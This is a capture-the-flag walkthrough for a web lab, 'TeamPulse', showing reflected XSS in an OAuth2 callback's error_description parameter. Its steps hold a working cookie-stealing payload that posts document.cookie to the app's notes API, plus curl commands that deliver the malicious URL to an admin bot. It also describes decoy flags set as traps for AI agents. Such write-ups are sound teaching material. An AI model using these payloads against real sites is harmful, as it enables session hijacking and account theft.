Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback
Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cookie_exfiltration, in_band_exfiltration, oauth_callback_injection, reflected_xss_exploitation
Summary
Walkthrough of the CUSTOM Web Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback. Task: TeamPulse collaboration dashboard with OAuth2 CloudID integration and bug bounty program. Reflected XSS in OAuth callback error_description parameter. Solution: Crafted XSS payload to steal admi
Description
TeamPulse is a team collaboration dashboard built by Pulsewave Technologies. It offers project tracking, shared notes, team management, and integrates with CloudID for Single Sign-On. The platform helps engineering teams stay aligned with real-time activity feeds, shared documentation, and project dashboards. It also runs a bug bounty program where submitted URLs are reviewed by an administrator.
Your goal is to find a vulnerability in the application that allows you to execute JavaScript in the context of another user's browser session and steal sensitive information.
Credentials provided: user@test.com / password123 Hint: The application supports OAuth2 login with CloudID. Take a close look at the authentication flow endpoints and how they handle parameters.
English summary: A team collaboration platform with OAuth2 SSO integration. The goal is to find an XSS vulnerability to steal sensitive information from an admin user who reviews bug bounty submissions.
Analysis
-
Application Structure:
- Login page with OAuth2 flow via CloudID provider
- Key endpoints:
/auth/cloudid(authorization) and/auth/callback(callback handler) - Bug bounty report feature at
/reportwhere admin bot visits submitted URLs - Notes API at
/api/notesfor creating/reading notes
-
Vulnerability Discovery:
- The OAuth callback endpoint accepts error parameters for handling authentication failures
- Testing
/auth/callback?error=access_denied&error_description=TESTrevealed theerror_descriptionvalue is reflected directly in the HTML response - No sanitization or encoding applied to the parameter value
- Confirmed XSS with payload:
<img src=x onerror=alert(1)>
-
Anti-Bot Traps:
- The application contained decoy flags in HTML comments:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} - These honeypots were designed to trick automated scanners and AI agents
- The real flag was stored in the admin's cookies
- The application contained decoy flags in HTML comments:
-
Exfiltration Constraints:
- External webhooks (requestcatcher.com, webhook.site) did not receive requests
- The admin bot likely had network restrictions blocking external connections
- Required in-band exfiltration using the application's own functionality
Solution
Step 1: Identify the XSS Vector
Test the OAuth callback endpoint with error parameters:
bash read-only • copy allowedcurl "https://TARGET/auth/callback?error=access_denied&error_description=<script>alert(1)</script>"
The error_description value is reflected without sanitization in the error page HTML.
Step 2: Craft the Exfiltration Payload
Since external webhooks are blocked, use the application's own notes API for data exfiltration:
html read-only • copy allowed<img src=x onerror="fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'COOKIES_EXFIL',content:'COOKIE:'+document.cookie})})">
Step 3: URL-Encode and Build Malicious URL
python read-only • copy allowed#!/usr/bin/env python3 import urllib.parse payload = '''<img src=x onerror="fetch('/api/notes',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'COOKIES_EXFIL',content:'COOKIE:'+document.cookie})})">''' encoded = urllib.parse.quote(payload, safe='') base_url = "https://TARGET/auth/callback" malicious_url = f"{base_url}?error=access_denied&error_description={encoded}" print(malicious_url)
Step 4: Submit to Bug Bounty
Submit the malicious URL via the bug report API:
bash read-only • copy allowedcurl -X POST "https://TARGET/api/report" \ -H "Content-Type: application/json" \ -H "Cookie: session=YOUR_SESSION_COOKIE" \ -d '{"url": "https://TARGET/auth/callback?error=access_denied&error_description=%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27%2Fapi%2Fnotes%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%27application%2Fjson%27%7D%2Cbody%3AJSON.stringify%28%7Btitle%3A%27COOKIES_EXFIL%27%2Ccontent%3A%27COOKIE%3A%27%2Bdocument.cookie%7D%29%7D%29%22%3E"}'
Step 5: Retrieve Exfiltrated Data
After the admin bot visits the URL and executes the XSS, retrieve the created note:
bash read-only • copy allowedcurl "https://TARGET/api/notes" \ -H "Cookie: session=YOUR_SESSION_COOKIE"
The note contains the admin's cookies including the flag:
COOKIE:flag=FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering cookie_exfiltration, in_band_exfiltration, oauth_callback_injection, reflected_xss_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 69 — TeamPulse — Reflected XSS in OAuth2 Error Callback • Difficulty: Medium